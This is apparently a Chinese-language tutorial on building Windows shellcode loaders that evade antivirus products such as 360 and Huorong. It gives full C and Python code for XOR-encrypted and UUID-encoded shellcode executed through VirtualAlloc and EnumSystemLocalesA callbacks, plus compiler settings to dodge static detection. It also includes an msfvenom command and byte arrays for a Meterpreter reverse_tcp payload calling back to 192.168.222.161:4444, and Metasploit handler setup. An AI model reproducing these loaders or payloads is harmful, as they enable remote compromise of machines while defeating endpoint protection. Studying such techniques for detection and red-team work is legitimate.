"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63";

int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(sc, sizeof(sc), key);
// 定义包含 shellcode 的缓冲区


// 获取 Kernel32.dll 的基地址和GetProcAddress函数地址
HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32.dll的基地址
pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress函数地址该版本没有自实现 动态获取 GetProcAddress 函数地址, 而是直接使用并通过GetProcAddress获取其他windows api函数地址
//获取其他所需API函数地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32,"VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32,
"CreateThread");
pWaitForSingleObject WaitForSingleObject =
(pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
//修改shellcode缓冲区的内存保护属性,以便执行
DWORD oldProtect;
VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
//创建新线程执行shellcode并等待其执行完成
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)sc, NULL,
0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

没啥说的,动态肯定过不了。

其他shellcode处理

uuid

什么是UUID?

UUID(Universally Unique Identifier,通用唯一识别码),是一种为计算器系统中的所有对象分配一个唯一标识符的软件构建块。UUID是1128为的数字,通常由32个十六进制(16个字节)数字表示,并由连字符分隔成五个部分,形式为8-4-4-4-12。例如:

1
550e8400-e29b-41d4-a716-446655440000

目的

在没有中央协调机构的情况下,能够在分布式系统中生成唯一标识符。这意味着,任何人在任何的地方都可以创建一个UUID,而无需担心与其他人创建的UUID冲突。UUID的设计使得它们的全局唯一性非常高,即使在不同的计算机系统和网络中也能保持唯一性。

UUID通常适用场景:

  • 数据库的主键
  • 分布式系统中的对象标识符
  • 会话标识符
  • 临时文件名

什么是GUID?

GUID(Globally Unique Identifier,全局唯一标识符)是一个 128 位长的数字,用于在软件中为对象分配唯一的标识符。GUID和UUID基本上是相同的概念,只是术语上的差别。实际上,GUID是UUID的一种实现。

GUID通常表示为32个十六进制数字,分为五组,用连字符分隔,形式如下:

1
550e8400-e29b-41d4-a716-446655440000

shellcode转uuid

这段代码首先将包含shellcode的字节数组进行处理,确保长度是16的倍数。然后,将shellcode分为16字节的块,并未每个块创建一个UUID,将这些UUID存储在一个列表中,最后,将这些UUID以C语言数组的形式输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import uuid
#使用cs或msf生成的python类型的shellcode
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51"
b"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52"
b"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed"
b"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88"
b"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
b"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
b"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49"
b"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
b"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
b"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"
b"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e"
b"\x65\x78\x65\x00"
)

# 用于存放shellcode转换成的uuid
uuid_list = []
# 确保 shellcode 长度是 16 的倍数,用 NOPs (\x90) 进行填充
if len(shellcode) % 16 != 0:
shellcode += b'\x90' * (16 - len(shellcode) % 16)
# 每16字节为一组,遍历 shellcode
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i + 16]
# 为每组创建一个 UUID(GUID)
uuid_chunk = uuid.UUID(bytes_le=chunk)
uuid_list.append(str(uuid_chunk))
#输出uuid的c语言数组形式
uuids = "const char* uuids[] = {"
for uuid in uuid_list:
uuids = uuids + f"\"{uuid}\","
uuids = uuids[:-1] + "};"
print(uuids)

然后python跑一下这个脚本

image-20250417180734421

1
2
3
bbq@ubuntu:~$ python3 1.py
const char* uuids[] = {"e48348fc-e8f0-00c0-0000-415141505251","d2314856-4865-528b-6048-8b5218488b52","728b4820-4850-b70f-4a4a-4d31c94831c0","7c613cac-2c02-4120-c1c9-0d4101c1e2ed","48514152-528b-8b20-423c-4801d08b8088","48000000-c085-6774-4801-d0508b481844","4920408b-d001-56e3-48ff-c9418b348848","314dd601-48c9-c031-ac41-c1c90d4101c1","f175e038-034c-244c-0845-39d175d85844","4924408b-d001-4166-8b0c-48448b401c49","8b41d001-8804-0148-d041-5841585e595a","59415841-5a41-8348-ec20-4152ffe05841","8b485a59-e912-ff57-ffff-5d48ba010000","00000000-4800-8d8d-0101-000041ba318b","d5ff876f-f0bb-a2b5-5641-baa695bd9dff","c48348d5-3c28-7c06-0a80-fbe07505bb47","6a6f7213-5900-8941-daff-d563616c632e","00657865-9090-9090-9090-909090909090"};
bbq@ubuntu:~$

uuid写入shellcode

步骤如下:

  • 定义一个包含转换为UUID形式的shellcode字符串数组uuids。
  • 创建一个具有执行权限的堆hc。
  • 在堆上分配一块可执行内存buffer。
  • 检查内存是否分配成功,如果失败则输出错误信息并返回。
  • 将uuid值转换回原始的shellcode并将其存储在buffer_backup地址。
  • 使用EnumSystemLocalesA函数调用转换回的shellcode。这是通过将shellcode作为处理每个枚举到的区域设置信息的回调函数的地址传递给EnumSystemLocalesA函数实现的。
  • 关闭内存句柄。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include<Windows.h>
#include<stdio.h>
#include <Rpc.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
#pragma comment(lib, "Rpcrt4.lib")
//用于存放shellcode转的uuid的数组

const char* uuids[] = {"e48348fc-e8f0-00c0-0000-415141505251","d2314856-4865-528b-6048-8b5218488b52","728b4820-4850-b70f-4a4a-4d31c94831c0","7c613cac-2c02-4120-c1c9-0d4101c1e2ed","48514152-528b-8b20-423c-4801d08b8088","48000000-c085-6774-4801-d0508b481844","4920408b-d001-56e3-48ff-c9418b348848","314dd601-48c9-c031-ac41-c1c90d4101c1","f175e038-034c-244c-0845-39d175d85844","4924408b-d001-4166-8b0c-48448b401c49","8b41d001-8804-0148-d041-5841585e595a","59415841-5a41-8348-ec20-4152ffe05841","8b485a59-e912-ff57-ffff-5d48ba010000","00000000-4800-8d8d-0101-000041ba318b","d5ff876f-f0bb-a2b5-5641-baa695bd9dff","c48348d5-3c28-7c06-0a80-fbe07505bb47","6a6f7213-5900-8941-daff-d563616c632e","00657865-9090-9090-9090-909090909090"};

void main() {
// 创建一个具有执行权限的堆
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 在堆上分配一块可执行内存
void* buffer = HeapAlloc(hc, 0, 0x100000);
// 检查内存分配是否成功,如果失败则输出错误信息并返回0
if (buffer == NULL) {
return;
}
// uuid的处理
PBYTE buffer_backup = (PBYTE)buffer; //定义一个存储uuid转换成的二进制字节序列(shellcode)或者直接使用回调函数执行
int elems = sizeof(uuids) / sizeof(uuids[0]); //获取uuid数组元素的个数
/*
UuidFromStringA函数将UUID值转换成二进制字节序列,其语法格式如下:
RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid, //指向uuid形式的字符串的指针
UUID * Uuid //用于接收二进制字节序列的指针
);
*/
// 遍历uuids数组,并将UUID转换回原始的shellcode,然后存储在buffer_backup地址
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)buffer_backup);
if (status != RPC_S_OK) {
CloseHandle(buffer);
return;
}
buffer_backup += 16;
}
/*
EnumSystemLocalesA函数用于枚举系统中支持的所有区域设置,其语法格式如下:
BOOL EnumSystemLocalesA(
LOCALE_ENUMPROCA lpLocaleEnumProc, //处理每个枚举到的区域设置信息的回调函数的地址
DWORD dwFlags //指定枚举的方式
);
*/
// 使用 EnumSystemLocalesA 函数调用转换回的 shellcode
EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, 0);
// 关闭内存句柄
CloseHandle(buffer);
}

但是这样的话连静态都过不了,怀疑是shellcode未加密的原因。so,还是决定加一个异或,异或后的shellcode

1
2
3
4
5
b"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"   b"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"   b"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"   b"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" b"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
b"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
b"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" b"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
b"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
b"\x00\x4d\x06\x1b\x06\x63"

然后转换一下

1
const char* uuids[] = {"87e02b9f-8b93-63a3-6363-223222333132","b1522b35-2b06-31e8-032b-e8317b2be831","11e82b43-2b33-d46c-2929-2e52aa2b52a3","1f025fcf-4f61-2243-a2aa-6e2262a2818e","2b322231-31e8-e843-215f-2b62b3e8e3eb","2b636363-a3e6-0417-2b62-b333e82b7b27","2a4323e8-b362-3580-2b9c-aa22e857eb2b","522eb562-2baa-a352-cf22-a2aa6e2262a2","9216835b-602f-472f-6b26-5ab216bb3b27","2a4723e8-b362-2205-e86f-2b27e8237f2a","e822b362-eb67-622b-b322-3b223b3d3a39","3a223b22-3922-e02b-8f43-22319c833b22","e82b393a-8a71-9c34-9c9c-3e2bd9626363","63636363-2b63-eeee-6262-636322d952e8","b69ce40c-93d8-c1d6-3522-d9c5f6defe9c","a7e02bb6-5f4b-1f65-69e3-98831666d824","090c1170-3a63-ea22-b99c-b600020f004d","63061b06-9090-9090-9090-909090909090"};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include<Windows.h>
#include<stdio.h>
#include <Rpc.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
#pragma comment(lib, "Rpcrt4.lib")
//用于存放shellcode转的uuid的数组

const char* uuids[] = {"87e02b9f-8b93-63a3-6363-223222333132","b1522b35-2b06-31e8-032b-e8317b2be831","11e82b43-2b33-d46c-2929-2e52aa2b52a3","1f025fcf-4f61-2243-a2aa-6e2262a2818e","2b322231-31e8-e843-215f-2b62b3e8e3eb","2b636363-a3e6-0417-2b62-b333e82b7b27","2a4323e8-b362-3580-2b9c-aa22e857eb2b","522eb562-2baa-a352-cf22-a2aa6e2262a2","9216835b-602f-472f-6b26-5ab216bb3b27","2a4723e8-b362-2205-e86f-2b27e8237f2a","e822b362-eb67-622b-b322-3b223b3d3a39","3a223b22-3922-e02b-8f43-22319c833b22","e82b393a-8a71-9c34-9c9c-3e2bd9626363","63636363-2b63-eeee-6262-636322d952e8","b69ce40c-93d8-c1d6-3522-d9c5f6defe9c","a7e02bb6-5f4b-1f65-69e3-98831666d824","090c1170-3a63-ea22-b99c-b600020f004d","63061b06-9090-9090-9090-909090909090"};

void main() {
// 创建一个具有执行权限的堆
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 在堆上分配一块可执行内存
void* buffer = HeapAlloc(hc, 0, 0x100000);
// 检查内存分配是否成功,如果失败则输出错误信息并返回0
if (buffer == NULL) {
return;
}
// uuid的处理
PBYTE buffer_backup = (PBYTE)buffer; //定义一个存储uuid转换成的二进制字节序列(shellcode)或者直接使用回调函数执行
int elems = sizeof(uuids) / sizeof(uuids[0]); //获取uuid数组元素的个数
/*
UuidFromStringA函数将UUID值转换成二进制字节序列,其语法格式如下:
RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid, //指向uuid形式的字符串的指针
UUID * Uuid //用于接收二进制字节序列的指针
);
*/
// 遍历uuids数组,并将UUID转换回原始的shellcode,然后存储在buffer_backup地址
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)buffer_backup);
if (status != RPC_S_OK) {
CloseHandle(buffer);
return;
}
buffer_backup += 16;
}
/*
EnumSystemLocalesA函数用于枚举系统中支持的所有区域设置,其语法格式如下:
BOOL EnumSystemLocalesA(
LOCALE_ENUMPROCA lpLocaleEnumProc, //处理每个枚举到的区域设置信息的回调函数的地址
DWORD dwFlags //指定枚举的方式
);
*/
// 使用 EnumSystemLocalesA 函数调用转换回的 shellcode
EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, 0);
// 关闭内存句柄
CloseHandle(buffer);
}

使用回调函数和加载动态API应该是动态都不行,笔者懒逼就不试了

编译器和exe文件

当我们对加载器进行了一些优化和对shellcode进行了混淆和分离加载,但是杀软还是进行了报毒。这可能就是因为你的程序没有数字签名或者没有详细的版本信息,所以我们可以通过控制变量法对比查杀效果,进而总结出来杀软的查杀态度。

举例:360查杀VS编译好的hello world!

1
2
3
4
5
#include <iostream>
int main()
{
std::cout << "Hello World!\n";
}

image-20250417193756454

发现是报毒的这里看看一下属性

image-20250417193849076

将其跟换为md即可绕过

解释一下这几个运行库

  • MD:不把运行库编译进去,运行时寻找MSVCRT.dll—>程序较小,但是目标机器上必须有运行库。
  • MT:把运行库编译进你的程序里—->程序变大,但发布方便不需要dll。
  • MTd、MDd:表示Debug版本,包含调试信息和内存检测工具。(_calloc_dbg就是Debug模式特有的)

image-20250417194335984

这里笔者之前一直试的是静态编译,所以准备试试动态编译。

也就是转为MD

动态编译加载shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

void myXor(unsigned char str[], int len, int key) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ key;
}
}

unsigned char buf[] = {
"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62"
"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3"
"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3"
"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a"
"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63"
"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c"
"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f"
"\x00\x4d\x06\x1b\x06\x63"
};
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Usage: %s <key>\n", argv[0]);
return 1;
}

// 从命令行获取密钥并转换为整数
int key = atoi(argv[1]);

// 异或解密
myXor(buf, sizeof(buf), key);

// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 申请失败,退出
if (addr == NULL) {
return 1;
}

// 把shellcode拷贝到这块内存
memcpy(addr, buf, sizeof(buf));

((void(*)())addr)();
}

image-20250419131655602

静态查杀过了,动态也没杀

image-20250419131803880

不太清楚360为啥没报杀,但是可能是我虚拟机里边的360问题。

但是火绒动态没过!

image-20250419132644532

这边准备尝试一下上线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<监听端口> -f <格式> -o <输出文件>
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.222.161 LPORT=4444 -f c


/////////////////////////////////////////////////////////////////////////////////////////////////////////
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b"
"\x42\x3c\x41\x51\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x41\x58"
"\x48\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xde\xa1\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";

奥,这段代码还得异或一下99得到新的shellcode

这里使用工具加载成二进制文件,然后xor99在提取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned char buf[] = {
"\x9f\x2b\xe0\x87\x93\x8b\xaf\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b"
"\xe8\x31\x43\x2b\xe8\x11\x33\x2e\x52\xaa\x2b\x6c\xd4\x29\x29\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22"
"\x62\xa2\x81\x8e\x31\x2b\xe8\x31\x43\xe8\x21\x5f\x22\x32\x2b\x62\xb3\x05\xe2\x1b\x7b\x68\x61\x6c\xe6\x11\x63\x63\x63\xe8"
"\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62\xb3\xe8\x2b\x7b\x33\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2e\x52\xaa\x2b"
"\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2b\x52\xa3\x22\xa2\xaa\x6e\xcf\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26"
"\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x22\x3b"
"\x22\x3b\x2b\x62\xb3\x3d\x3a\x39\x22\x3b\x22\x3a\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a"
"\x28\x9c\x9c\x9c\x3e\x2a\xdd\x14\x10\x51\x3c\x50\x51\x63\x63\x22\x35\x2a\xea\x85\x2b\xe2\x8f\xc3\x62\x63\x63\x2a\xea\x86"
"\x2a\xdf\x61\x63\x72\x3f\xa3\xcb\xbd\xc2\x22\x37\x2a\xea\x87\x2f\xea\x92\x22\xd9\x2f\x14\x45\x64\x9c\xb6\x2f\xea\x89\x0b"
"\x62\x62\x63\x63\x3a\x22\xd9\x4a\xe3\x08\x63\x9c\xb6\x09\x69\x22\x3d\x33\x33\x2e\x52\xaa\x2e\x52\xa3\x2b\x9c\xa3\x2b\xea"
"\xa1\x2b\x9c\xa3\x2b\xea\xa2\x22\xd9\x89\x6c\xbc\x83\x9c\xb6\x2b\xea\xa4\x09\x73\x22\x3b\x2f\xea\x81\x2b\xea\x9a\x22\xd9"
"\xfa\xc6\x17\x02\x9c\xb6\xe6\xa3\x17\x69\x2a\x9c\xad\x16\x86\x8b\xf0\x63\x63\x63\x2b\xe0\x8f\x73\x2b\xea\x81\x2e\x52\xaa"
"\x09\x67\x22\x3b\x2b\xea\x9a\x22\xd9\x61\xba\xab\x3c\x9c\xb6\xe0\x9b\x63\x1d\x36\x2b\xe0\xa7\x43\x3d\xea\x95\x09\x23\x22"
"\x3a\x0b\x63\x73\x63\x63\x22\x3b\x2b\xea\x91\x2b\x52\xaa\x22\xd9\x3b\xc7\x30\x86\x9c\xb6\x2b\xea\xa0\x2a\xea\xa4\x2e\x52"
"\xaa\x2a\xea\x93\x2b\xea\xb9\x2b\xea\x9a\x22\xd9\x61\xba\xab\x3c\x9c\xb6\xe0\x9b\x63\x1e\x4b\x3b\x22\x34\x3a\x0b\x63\x23"
"\x63\x63\x22\x3b\x09\x63\x39\x22\xd9\x68\x4c\x6c\x53\x9c\xb6\x34\x3a\x22\xd9\x16\x0d\x2e\x02\x9c\xb6\x2a\x9c\xad\x8a\x5f"
"\x9c\x9c\x9c\x2b\x62\xa0\x2b\x4a\xa5\x2b\xe6\x95\x16\xd7\x22\x9c\x84\x3b\x09\x63\x3a\x2a\xa4\xa1\x93\xd6\xc1\x35\x9c\xb6"

};

使用kali自带的msfconsole进行监听端口

1
2
3
4
5
6
7
8
9
10
11
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
